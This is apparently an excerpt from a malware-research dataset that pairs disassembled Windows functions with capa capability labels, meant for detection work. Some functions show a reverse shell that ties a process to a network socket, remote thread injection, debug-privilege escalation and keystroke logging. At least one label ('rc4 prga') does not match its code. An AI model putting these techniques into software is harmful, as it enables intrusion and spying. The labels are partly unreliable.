joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401afb70
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1401afbd1
mov rdi, rax
lea rdx, [0x14020998e]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1401afbd1
mov rsi, rax
lea rdx, [0x14020999c]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1401afbd1
mov rdi, rax
xor ebx, ebx
jmp 0x1401afc57
lea rcx, [0x140209928]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1401afccb
mov rsi, rax
lea rdx, [0x140209932]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1401afccb
mov rdi, rax
lea rdx, [0x140209945]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1401afccb
mov rbx, rax
lea rdx, [0x140209959]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1401afccb
mov rsi, rax
lea rcx, [rbp - 0x18]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rdi
test eax, eax
jne 0x1401afccb
mov rdi, qword [rbp - 0x18]
movzx eax, byte [0x1402a8081]
mov ecx, 0x18
mov edx, 8
call fcn.140018c20
test rax, rax
je 0x1401afcd2
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
xor eax, eax
lock cmpxchg qword [0x1402a80d0], rcx
je 0x1401afcbf
mov rsi, rax
cmp qword [rcx], 0
mov qword [rbp - 8], rcx
je 0x1401afca8
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp - 8]
call fcn.140018c30
mov rcx, rsi
mov rax, rcx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.1401afb30
ud2
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
mov ecx, 8
mov edx, 0x18
call fcn.1401b1680
ud2
Function at 0x1401b0bf0
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov ebp, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.1401953d0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1401b0c4b
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x1401b0cc4
mov r8d, 1
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
jmp fcn.140018c30
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1401b0cd1
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
je 0x1401b0cc4
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.140018c30
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bp
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
jne 0x1401b0cb3
jmp 0x1401b0cc4
Function at 0x1400029a0
Capabilities:
Execute command

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140082020]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x30], 0xfbe2d9ae
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x34], 0x1da60a2
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea rdx, str.Year:
call fcn.140005740
movzx edx, word [rsp + 0x20]
mov rcx, rax
call fcn.140002ad0
mov rcx, rax
call fcn.140005a30
lea rdx, str.Month:
call fcn.140005740
movzx edx, word [rsp + 0x22]
mov rcx, rax
call fcn.140002ad0
mov rcx, rax
call fcn.140005a30
lea rdx, str.Day:
call fcn.140005740
movzx edx, word [rsp + 0x26]
mov rcx, rax
call fcn.140002ad0
mov rcx, rax
call fcn.140005a30
lea rdx, str.Hour:
call fcn.140005740
movzx edx, word [rsp + 0x28]
mov rcx, rax
call fcn.140002ad0
mov rcx, rax
call fcn.140005a30
lea rdx, str.Minute:
call fcn.140005740
movzx edx, word [rsp + 0x2a]
mov rcx, rax
call fcn.140002ad0
mov rcx, rax
call fcn.140005a30
lea rdx, str.Second:
call fcn.140005740
movzx edx, word [rsp + 0x2c]
mov rcx, rax
call fcn.140002ad0
mov rcx, rax
call fcn.140005a30
lea rcx, str.pause
call fcn.140023f28
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000c100
add rsp, 0x48
ret

Function at 0x1400167e0
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400162c0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14001681f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1400612e0]
jmp 0x140016829
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x140039170
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x14003ef58
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x14005f900
mov word [rsp + 0x10], dx
mov qword [rsp + 8], rcx
sub rsp, 0x48
movzx eax, word [rsp + 0x58]
movd xmm0, eax
movdqa xmmword [rsp + 0x20], xmm0
pshuflw xmm0, xmmword [rsp + 0x20], 0
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [rsp + 0x20]
pshufd xmm0, xmm0, 0
movdqa xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0x50]
and rax, 0xfff
cmp rax, 0xff0
ja 0x14005fa11
mov rax, qword [rsp + 0x50]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [rsp + 0x10]
pxor xmm0, xmmword [rsp + 0x10]
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmmword [rsp + 0x10]
pcmpeqw xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmmword [rsp + 0x30]
pcmpeqw xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [rsp + 0x10]
por xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x10], xmm0
movdqa xmm0, xmmword [rsp + 0x10]
pmovmskb eax, xmm0
mov dword [rsp], eax
cmp dword [rsp], 0
je 0x14005fa01
mov eax, dword [rsp]
bsf eax, eax
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
add rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x58]
cmp eax, ecx
jne 0x14005f9f1
mov rax, qword [rsp + 0x50]
mov qword [rsp + 8], rax
jmp 0x14005f9fa
mov qword [rsp + 8], 0
mov rax, qword [rsp + 8]
jmp 0x14005fa4c
mov rax, qword [rsp + 0x50]
add rax, 0x10
mov qword [rsp + 0x50], rax
jmp 0x14005fa47
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x58]
cmp eax, ecx
jne 0x14005fa29
mov rax, qword [rsp + 0x50]
jmp 0x14005fa4c
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
test eax, eax
jne 0x14005fa39
xor eax, eax
jmp 0x14005fa4c
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
jmp 0x14005f93b
add rsp, 0x48
ret
Function at 0x6c5813a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x230], rcx
mov dword [rbp + 0x238], edx
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x6c5813f7
mov r8d, 0x1b
lea rdx, str._ERROR__WSASturtup_failed._n
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x6c58154c
mov eax, dword [rbp + 0x238]
mov dword [rbp + 0x21c], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x60], 2
mov eax, dword [rbp + 0x21c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
mov rcx, qword [rbp + 0x230]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x64], eax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x210]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x6c5814ac
mov r8d, 0x18
lea rdx, str._ERROR__connect_failed._n
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x6c58154c
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, [0x6c584035]
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x2a0
pop rbp
ret

Function at 0x6c581750
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x6c5817c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x6c587064]
mov r12, rcx
test ebx, ebx
jle 0x6c5818f0
mov rax, qword [0x6c587068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x6c58180c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x6c581893
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x6c5817f0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x6c581912
mov rax, qword [0x6c587068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6c587068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6c5818f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x6c58188c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x6c5818a0
add dword [0x6c587064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x6c587068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6c58188c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x6c581817
mov rax, qword [0x6c587068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x6c581bc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6c5870a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6c587080]
test rbx, rbx
je 0x6c581c14
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x6c581c0b
test r12, r12
je 0x6c581c0b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6c581bf0
lea rcx, [0x6c5870a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6c581e30
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x6c581e48
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x6c581e50
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x6c581e60
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x6c581eac
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x6c581ea3
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x6c581eae
add rax, 0x28
cmp rax, r9
jne 0x6c581e90
xor eax, eax
ret

Function at 0x6c581eb0
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x6c581f40
mov rdx, qword [0x6c584220]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x6c581f2e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x6c581f2e
cmp word [rax + 0x18], 0x20b
jne 0x6c581f2e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6c581f40
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x6c581f19
add r12, 0x28
cmp r12, rsi
je 0x6c581f40
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x6c581f10
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x6c581f50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x6c584220]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x6c581f70
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x6c581f78
ret
cmp word [r8 + 0x18], 0x20b
jne 0x6c581f70
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x6c581fc5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x6c581fbc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6c581f70
add rax, 0x28
cmp rax, r9
jne 0x6c581fa8
xor eax, eax
ret

Function at 0x6c581fd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x6c584220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x6c581ff0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x6c581ff8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x6c581ff0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x6c582010
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x6c584220]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x6c582030
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x6c582038
ret
cmp word [rdx + 0x18], 0x20b
jne 0x6c582030
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x6c582078
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x6c58206f
test rcx, rcx
je 0x6c582030
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x6c582060
xor eax, eax
ret
Function at 0x6c582080
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x6c584220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x6c5820a0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x6c5820a8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x6c5820c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x6c584220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x6c5820e0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x6c5820e8
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x6c5820e0
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x6c5820e0
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x6c582124
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6c582138
add rax, 0x28
cmp r9, rax
jne 0x6c582110
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x6c582150
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x6c584220]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x6c582172
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x6c582180
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x6c582172
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x6c582172
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x6c582172
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x6c5821cd
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x6c5821e0
add rdx, 0x28
cmp r10, rdx
jne 0x6c5821b8
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x6c5821ef
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x6c5821ff
mov edx, dword [rax + 0xc]
test edx, edx
je 0x6c5821d6
test ecx, ecx
jg 0x6c5821e8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000aa6c
Capabilities:
Create thread
Inject thread

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400c9b3c]
mov qword [0x1400c9f34], rax
mov rcx, qword [0x1400c9b64]
push qword [0x1400cace0]
sub rsp, 0x28
call fcn.140020b90
add rsp, 0x28
lea rcx, [0x1400c9f3c]
pop rdx
call fcn.140020ad0
push qword [0x1400c9f3c]
pop rcx
call fcn.140011270
mov r15, rax
inc r15
mov qword [0x1400c9f44], r15
push qword [0x1400c9f34]
push 0
push 0x1f0fff
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_OpenProcess
mov qword [0x1400c9f4c], rax
cmp qword [0x1400c9f4c], 0
je 0x14000ac7a
sub rsp, 8
push 4
push 0x1000
push qword [0x1400c9f44]
push 0
push qword [0x1400c9f4c]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.KERNEL32.dll_VirtualAllocEx
add rsp, 0x30
mov qword [0x1400c9f54], rax
cmp qword [0x1400c9f54], 0
je 0x14000ac6e
sub rsp, 8
lea rax, [0x1400c9f5c]
mov rax, rax
push rax
push qword [0x1400c9f44]
push qword [0x1400c9f3c]
push qword [0x1400c9f54]
push qword [0x1400c9f4c]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.KERNEL32.dll_WriteProcessMemory
add rsp, 0x30
mov r15, qword [0x1400c9f5c]
cmp r15, qword [0x1400c9f44]
jl 0x14000ac4c
movabs rax, str.Kernel32.dll
push rax
push 0
pop rcx
pop rdx
call fcn.140015be0
and rax, rax
je 0x14000ac4c
movabs rax, 0x14007588d
push rax
push 0
pop rcx
pop rdx
call fcn.140015c48
mov qword [0x1400c9f64], rax
push 0
pop rcx
call fcn.140015acc
cmp qword [0x1400c9f64], 0
je 0x14000ac4c
sub rsp, 8
push 0
push 0
push qword [0x1400c9f54]
push qword [0x1400c9f64]
push 0
push 0
push qword [0x1400c9f4c]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.KERNEL32.dll_CreateRemoteThread
add rsp, 0x40
mov qword [0x1400c9f6c], rax
cmp qword [0x1400c9f6c], 0
je 0x14000ac4c
push 0xffffffffffffffff
push qword [0x1400c9f6c]
pop rcx
pop rdx
call sub.KERNEL32.dll_WaitForSingleObject
lea rax, [0x1400c9ae4]
mov rax, rax
push rax
push qword [0x1400c9f6c]
pop rcx
pop rdx
call sub.KERNEL32.dll_GetExitCodeThread
push 0x4000
push qword [0x1400c9f44]
push qword [0x1400c9f54]
push qword [0x1400c9f4c]
pop rcx
pop rdx
pop r8
pop r9
call sub.KERNEL32.dll_VirtualFreeEx
push qword [0x1400c9f4c]
pop rcx
call sub.KERNEL32.dll_CloseHandle
push qword [0x1400c9b64]
pop rcx
call fcn.14001bdc4
mov qword [0x1400c9ae4], rax
add rsp, 0x28
ret
Function at 0x14000e855
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
push r15
mov rax, 8
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x14000e85f
sub rsp, 0x28
mov byte [rsp + 0x28], 0
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push 0x28
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
add rsp, 0x20
mov rax, rax
push rax
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.DLL_OpenProcessToken
and rax, rax
je 0x14000e965
lea rax, [rsp + 0x38]
lea rax, [rsp + 0x38]
mov rax, rax
push rax
movabs rax, str.SeDebugPrivilege
push rax
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.DLL_LookupPrivilegeValueA
and rax, rax
je 0x14000e95b
lea rax, [rsp + 0x40]
lea rbp, [rsp + 0x40]
mov dword [rbp], 1
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp]
push rax
lea rbp, [rsp + 0x48]
pop rax
mov dword [rbp + 4], eax
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp + 4]
push rax
lea rbp, [rsp + 0x48]
pop rax
mov dword [rbp + 8], eax
mov dword [rbp + 0xc], 2
lea rax, [rsp + 0x60]
mov rax, rax
push rax
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0x10
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0
push qword [rsp + 0x58]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.ADVAPI32.DLL_AdjustTokenPrivileges
add rsp, 0x30
mov rax, rax
mov byte [rsp + 0x28], al
push qword [rsp + 0x30]
pop rcx
call sub.KERNEL32.dll_CloseHandle
movsx rax, byte [rsp + 0x28]
movsx rax, al
jmp 0x14000e974
add rsp, 0x68
pop r15
pop rbp
ret
Function at 0x14000f40c
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push r15
xor rax, rax
push rax
sub rsp, 0x28
movsxd rax, dword [rsp + 0x40]
mov rax, rax
push rax
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14000f453
mov qword [rsp + 0x28], 1
jmp 0x14000f464
mov qword [rsp + 0x28], 0
xor rax, rax
jmp 0x14000f5cc
movsxd r15, dword [rsp + 0x48]
cmp r15, 1
je 0x14000f4a5
push 0x10
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14000f494
mov qword [rsp + 0x28], 1
jmp 0x14000f4a5
mov qword [rsp + 0x28], 0
xor rax, rax
jmp 0x14000f5cc
movsxd r15, dword [rsp + 0x50]
cmp r15, 1
je 0x14000f4e6
push 0x11
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14000f4d5
mov qword [rsp + 0x28], 1
jmp 0x14000f4e6
mov qword [rsp + 0x28], 0
xor rax, rax
jmp 0x14000f5cc
movsxd r15, dword [rsp + 0x58]
cmp r15, 1
je 0x14000f527
push 0x12
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14000f516
mov qword [rsp + 0x28], 1
jmp 0x14000f527
mov qword [rsp + 0x28], 0
xor rax, rax
jmp 0x14000f5cc
movsxd r15, dword [rsp + 0x48]
cmp r15, 1
jne 0x14000f55a
push 0x10
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14000f55a
mov qword [rsp + 0x28], 0
xor rax, rax
jmp 0x14000f5cc
movsxd r15, dword [rsp + 0x50]
cmp r15, 1
jne 0x14000f58d
push 0x11
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14000f58d
mov qword [rsp + 0x28], 0
xor rax, rax
jmp 0x14000f5cc
movsxd r15, dword [rsp + 0x58]
cmp r15, 1
jne 0x14000f5c0
push 0x12
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14000f5c0
mov qword [rsp + 0x28], 0
xor rax, rax
jmp 0x14000f5cc
mov rax, 1
jmp 0x14000f5cc
add rsp, 0x30
pop r15
ret